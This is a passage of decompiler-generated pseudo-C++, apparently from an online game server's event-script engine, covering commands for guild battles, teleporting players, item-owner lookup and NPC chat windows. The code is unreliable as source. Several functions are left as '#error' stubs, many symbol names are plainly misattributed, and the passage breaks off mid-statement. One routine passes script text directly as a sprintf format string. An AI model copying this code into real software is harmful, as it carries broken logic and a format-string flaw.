"PineEventScriptNode::ShineBattleStart::sa_Step : no Time", 0); } } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); ps_assert(0, "PineEventScriptNode::ShineBattleStart::sa_Step : invalid flag", v20); } goto LABEL_19; } if ( !v4->baseclass_0.os_Express[0] || !v4->baseclass_0.os_Express[1] ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : Argument error", 0); LABEL_19: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v27 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineBattleStart::sa_Step"); goto LABEL_20; } if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : no Player", 0); goto LABEL_19; } v13 = PineScriptToken::pst_GetNumber(&tkn, 0); if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v14 = PineScriptToken::pst_GetNumber(&tkn, 0); Movie::Theater::t_MapGuildBattle(*(Movie::Theater **)&ps->gap10114[4], v13, v14); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29827; *(_DWORD *)(v15 + 2) = v13; *(_DWORD *)(v15 + 6) = v14; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v16 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v27) = 3; Movie::Theater::t_AllInMap(v16, &alchat.baseclass_0); LOBYTE(v27) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v5 = -1; goto LABEL_19; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : no Player", 1); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v27 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_20: __security_check_cookie(v26); return result; } //----- (004B56B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBattleStop *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 void *v11; // ecx@2 int v12; // eax@6 const char *v13; // eax@11 unsigned __int16 result; // ax@12 int v15; // [sp-8h] [bp-134h]@3 int v16; // [sp-4h] [bp-130h]@2 AxialListProtocolSend alps; // [sp+Ch] [bp-120h]@2 FunctionEntarance _; // [sp+18h] [bp-114h]@1 PineScriptToken tkn; // [sp+1Ch] [bp-110h]@1 unsigned int v20; // [sp+11Ch] [bp-10h]@12 int v21; // [sp+128h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = (char *)&stru_5B51EC.maa_TargetSelect.targetlist.baseclass_0.l_Array; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.targetlist.baseclass_0.l_Array); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B51EC.maa_TargetSelect.targetlist.baseclass_0.l_Array; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5B51EC); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v21) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( !PineScriptToken::operator__(v10, index_pk.pst_Buffer) ) { if ( !PineScriptToken::operator__(&tkn, index_guild.pst_Buffer) ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); ps_assert(0, "PineEventScriptNode::ShineBattleStop::sa_Step : invalid flag", v13); goto LABEL_12; } v12 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v12 ) { *(_DWORD *)(v12 + 156) = 0; *(_DWORD *)(v12 + 160) = 0; } AxialListProtocolSend::AxialListProtocolSend(&alps, 29, 132); v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; v16 = 0; if ( v11 != 0 ) { v15 = (int)&alps; goto LABEL_4; } LABEL_9: AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", v16); LOBYTE(v21) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); goto LABEL_12; } Movie::Theater::t_MapPKFlag(*(Movie::Theater **)&ps->gap10114[4], 0); AxialListProtocolSend::AxialListProtocolSend(&alps, 6, 19); v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 2; v16 = 0; if ( !(v11 != 0) ) goto LABEL_9; v15 = (int)&alps; LABEL_4: ShineObjectClass::ShineObject::so_AllInMap(v11, v15, v16); LOBYTE(v21) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); LABEL_12: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.targetlist.baseclass_0.l_Array); __security_check_cookie(v20); return result; } //----- (004B5910) -------------------------------------------------------- #error "4B5910: undefined or illegal type '#331' (funcsize=98)" //----- (004B5A80) -------------------------------------------------------- #error "4B5A80: undefined or illegal type '#331' (funcsize=104)" //----- (004B5C10) -------------------------------------------------------- #error "4B5C10: undefined or illegal type '#331' (funcsize=104)" //----- (004B5DA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSubLayerShift::sa_Step(PineEventScriptNode::ShineSubLayerShift *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSubLayerShift *v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 unsigned __int16 v7; // ax@3 char v8; // al@6 unsigned __int16 result; // ax@7 int v10; // [sp+10h] [bp-120h]@3 bool logout; // [sp+14h] [bp-11Ch]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v13; // [sp+120h] [bp-10h]@7 int v14; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.aggresive2); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B51EC.maa_TargetSelect.aggresive2; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; PineScriptToken::pst_Clear(&tkn); LOBYTE(v14) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v6 = PineScriptToken::pst_ToLower(v5); logout = PineScriptToken::operator__(v6, index_logout.pst_Buffer) != 0; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v7 = PineScriptToken::pst_GetNumber(&tkn, 0); v10 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); if ( v10 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v8 = PineScriptToken::pst_GetNumber(&tkn, 0); ShineObjectClass::ShineObject::so_SubLayerShift(v10, v8, logout); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B51EC.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0); } } } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B51EC.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_SightRange, 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v14) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.aggresive2); __security_check_cookie(v13); return result; } //----- (004B5F40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTeleportAll *v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // eax@2 PineScriptToken *v8; // eax@2 int v9; // eax@3 int v10; // edi@5 void *v11; // ecx@5 int v12; // eax@8 int v13; // eax@9 PineEventScriptNode::Express *v14; // ecx@9 int v15; // eax@9 int v16; // eax@10 PineEventScriptNode::Express *v17; // ecx@10 int v18; // eax@10 int v19; // eax@13 PineEventScriptNode::Express *v20; // ecx@13 int v21; // eax@13 Movie::Theater *v22; // ecx@14 Movie::Theater *v23; // ecx@14 int *v24; // ecx@14 int v25; // eax@15 PineEventScriptNode::Express *v26; // ecx@15 int v27; // eax@15 Movie::Theater *v28; // ecx@17 unsigned __int16 result; // ax@21 int v30; // [sp-4h] [bp-168h]@3 int v31; // [sp-4h] [bp-168h]@9 int allt; // [sp+10h] [bp-154h]@5 int *v33; // [sp+14h] [bp-150h]@17 int v34; // [sp+18h] [bp-14Ch]@3 FunctionEntarance _; // [sp+1Ch] [bp-148h]@1 int allc; // [sp+20h] [bp-144h]@14 int NumOfPlayer; // [sp+24h] [bp-140h]@14 int Position2; // [sp+28h] [bp-13Ch]@13 int v39; // [sp+2Ch] [bp-138h]@14 int v40; // [sp+30h] [bp-134h]@15 int v41; // [sp+34h] [bp-130h]@17 int Position; // [sp+38h] [bp-12Ch]@9 int v43; // [sp+3Ch] [bp-128h]@10 AxialListTeleportSplit thisa; // [sp+40h] [bp-124h]@14 PineScriptToken tkn; // [sp+54h] [bp-110h]@1 unsigned int v46; // [sp+154h] [bp-10h]@21 int v47; // [sp+160h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = (char *)&stru_5B51EC.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B51EC.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; PineScriptToken::pst_Clear(&tkn); LOBYTE(v47) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v6 = PineScriptToken::pst_ToLower(v5); if ( PineScriptToken::operator__(v6, index_anywhere.pst_Buffer) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&allt); v10 = (int)AxialListTeleportAnywhere::_vftable_; allt = (int)AxialListTeleportAnywhere::_vftable_; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v47) = 2; if ( v11 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&allt, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LABEL_18: v24 = &allt; allt = v10; goto LABEL_19; } v7 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = PineScriptToken::pst_ToLower(v7); if ( !PineScriptToken::operator__(v8, index_split.pst_Buffer) ) { v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v9 != 0; v30 = 0; if ( v9 == 0 ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B51EC.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v30); LABEL_20: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B51EC.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); goto LABEL_21; } v25 = PineScriptToken::pst_GetNumber(&tkn, 0); v26 = v4->baseclass_0.os_Express[1]; v40 = v25; v27 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v26->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v27 != 0; v31 = 0; if ( v27 == 0 ) { LABEL_16: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B51EC.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v31); goto LABEL_20; } v41 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListIterator::AxialListIterator((AxialListIterator *)&allt); v10 = (int)AxialListTeleport::_vftable_; allt = (int)AxialListTeleport::_vftable_; v33 = &v40; v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 5; Movie::Theater::t_AllInMap(v28, (AxialListIterator *)&allt); goto LABEL_18; } v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v12 != 0; v30 = 0; if ( !(v12 != 0) ) goto LABEL_4; v13 = PineScriptToken::pst_GetNumber(&tkn, 0); v14 = v4->baseclass_0.os_Express[1]; Position = v13; v15 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v15 != 0; v31 = 0; if ( !(v15 != 0) ) goto LABEL_16; v16 = PineScriptToken::pst_GetNumber(&tkn, 0); v17 = v4->baseclass_0.os_Express[2]; v43 = v16; v18 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v18 != 0; if ( v18 != 0 ) { v19 = PineScriptToken::pst_GetNumber(&tkn, 0); v20 = v4->baseclass_0.os_Express[3]; Position2 = v19; v21 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v20->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); if ( !AssertClass::operator__( &shineassert, v21 != 0, (const char *)&stru_5B51EC.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0) ) { v39 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListCount2::AxialListCount2((AxialListCount2 *)&allc); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 3; Movie::Theater::t_AllInMap(v22, (AxialListIterator *)&allc); AxialListTeleportSplit::AxialListTeleportSplit( &thisa, NumOfPlayer, (SHINE_XY_TYPE *)&Position, (SHINE_XY_TYPE *)&Position2); v23 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 4; Movie::Theater::t_AllInMap(v23, &thisa.baseclass_0); LOBYTE(v47) = 3; thisa.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&thisa); allc = (int)AxialListCount2::_vftable_; v24 = &allc; LABEL_19: LOBYTE(v47) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)v24); goto LABEL_20; } } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B51EC.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_21: __security_check_cookie(v46); return result; } // 5B2FF8: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); // 5B2FFC: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); // 5B3000: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); // 5B3004: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004B6310) -------------------------------------------------------- #error "4B6310: undefined or illegal type '#331' (funcsize=146)" //----- (004B6530) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineItemOwner::sa_Step(PineEventScriptNode::ShineItemOwner *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineItemOwner *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 const char *v6; // eax@3 unsigned int v7; // eax@3 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@7 PineScriptToken *v9; // eax@9 Movie::Theater *v10; // ecx@12 unsigned __int16 result; // ax@14 const char *v12; // [sp-8h] [bp-248h]@8 int v13; // [sp-4h] [bp-244h]@8 unsigned __int16 itmid; // [sp+10h] [bp-230h]@5 AxialListFindItemOwner alfio; // [sp+1Ch] [bp-224h]@12 PineScriptToken itemindex; // [sp+30h] [bp-210h]@1 PineScriptToken delimiter; // [sp+130h] [bp-110h]@7 unsigned int v18; // [sp+230h] [bp-10h]@14 int v19; // [sp+23Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineItemOwner::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineItemOwner::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; PineScriptToken::pst_Clear(&itemindex); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v19) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&itemindex, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&itemindex); v7 = BTree::operator__(&stru_12510618, v6); if ( v7 == -1 ) LOWORD(v7) = -1; itmid = v7; if ( (unsigned __int16)v7 == -1 ) { MoveManager::MoveManager((DiceTaiSai *)&itemindex); PineScriptStack::ProcessStack::ps_Pop(ps); goto LABEL_14; } PineScriptToken::pst_Clear(&delimiter); v8 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v19) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&delimiter, ps) != 0 ) { v9 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); if ( v9 != 0 ) { AxialListFindItemOwner::AxialListFindItemOwner(&alfio, itmid, &delimiter, v9); v10 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v19) = 3; Movie::Theater::t_AllInMap(v10, &alfio.baseclass_0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 2; alfio.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alfio); goto LABEL_13; } v13 = 0; v12 = (const char *)&stru_5B51EC.maa_MobActionStruct.chase.baseclass_0.mant_Target; } else { v13 = 0; v12 = (const char *)&stru_5B51EC.maa_MobActionStruct.turning.mat_NextAction; } AssertClass::ac_AssertFail(&shineassert, v12, v13); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_13: LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&delimiter); goto LABEL_14; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineItemOwner::sa_Step : no item", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_14: LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemindex); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineItemOwner::sa_Step"); __security_check_cookie(v18); return result; } // 5B3008: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004B6750) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineChatWindow *v4; // ebp@1 signed int v5; // ebx@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 const char *v10; // eax@3 unsigned int v11; // eax@3 const char *v12; // eax@5 MobTacticElement::MobActionBase *v13; // eax@8 PineEventScriptNode::ScriptAtomVtbl *v14; // edx@8 ShineScript *v15; // edi@10 char *v16; // eax@11 MobTacticElement::MobActionArgument *v17; // ebx@11 DiceTaiSai *v18; // edi@11 int v19; // ebp@11 MobTacticElement::MobActionArgument *v20; // eax@14 MobTacticElement::MobActionArgument *v21; // ST20_4@14 MobTacticElement::MobActionBase *v22; // eax@14 char *v23; // edi@17 int v24; // eax@17 char v25; // cl@18 int v26; // eax@19 Movie::Theater *v27; // ecx@21 unsigned __int16 result; // ax@24 char *v29; // [sp-4h] [bp-93Ch]@7 signed int v30; // [sp+10h] [bp-928h]@11 signed __int16 mobid; // [sp+14h] [bp-924h]@3 AxialListPacketBroadcast alchat; // [sp+18h] [bp-920h]@21 FunctionEntarance _; // [sp+24h] [bp-914h]@1 PineScriptToken mobindex; // [sp+28h] [bp-910h]@1 PineScriptToken chat; // [sp+128h] [bp-810h]@8 char tkn; // [sp+228h] [bp-710h]@11 char v37; // [sp+328h] [bp-610h]@17 char v38; // [sp+428h] [bp-510h]@17 char v39; // [sp+528h] [bp-410h]@17 char v40; // [sp+628h] [bp-310h]@17 char v41; // [sp+728h] [bp-210h]@17 char thisa; // [sp+828h] [bp-110h]@17 unsigned int v43; // [sp+928h] [bp-10h]@24 int v44; // [sp+934h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineChatWindow::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChatWindow::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChatWindow::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v44 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineChatWindow : "); PineScriptToken::pst_Clear(&mobindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v44) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&mobindex, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); LABEL_7: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_23: v44 = v5; goto LABEL_24; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v11 = BTree::operator__(&mobdatabox.mdb_btree, v10); mobid = -1; if ( v11 != -1 ) mobid = v11; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( mobid == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step : no mob", v12); goto LABEL_7; } v13 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mobindex); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v13, &stru_598DE4); PineScriptToken::pst_Clear(&chat); v14 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v44) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->sa_Calculate)(&chat, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } v15 = *(ShineScript **)&ps->gap10114[28]; if ( !v15 ) { LABEL_22: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } MoveManager::MoveManager((DiceTaiSai *)&chat); v17 = (MobTacticElement::MobActionArgument *)ShineScript::ss_String(v15, v16); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v17); _eh_vector_constructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v44) = 3; v18 = (DiceTaiSai *)&tkn; v19 = (int)&v4->baseclass_0.os_Express[2]; v30 = 7; do { if ( *(_DWORD *)v19 && (*(int (__stdcall **)(DiceTaiSai *, PineScriptStack::ProcessStack *))(**(_DWORD **)v19 + 8))(v18, ps) ) { MoveManager::MoveManager(v18); v21 = v20; v22 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v22, v21); } else { PineScriptToken::pst_Clear((PineScriptToken *)v18); } v19 += 4; v18 = (DiceTaiSai *)((char *)v18 + 256); --v30; } while ( v30 ); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27660; *((_WORD *)v23 + 1) = mobid; MoveManager::MoveManager((DiceTaiSai *)&thisa); MoveManager::MoveManager((DiceTaiSai *)&v41); MoveManager::MoveManager((DiceTaiSai *)&v40); MoveManager::MoveManager((DiceTaiSai *)&v39); MoveManager::MoveManager((DiceTaiSai *)&v38); MoveManager::MoveManager((DiceTaiSai *)&v37); MoveManager::MoveManager((DiceTaiSai *)&tkn); sprintf(v23 + 5, (const char *)v17); v24 = (int)(v23 + 5); do v25 = *(_BYTE *)v24++; while ( v25 ); v26 = v24 - (_DWORD)(v23 + 6); if ( v26 < 256 ) { v23[4] = v26; 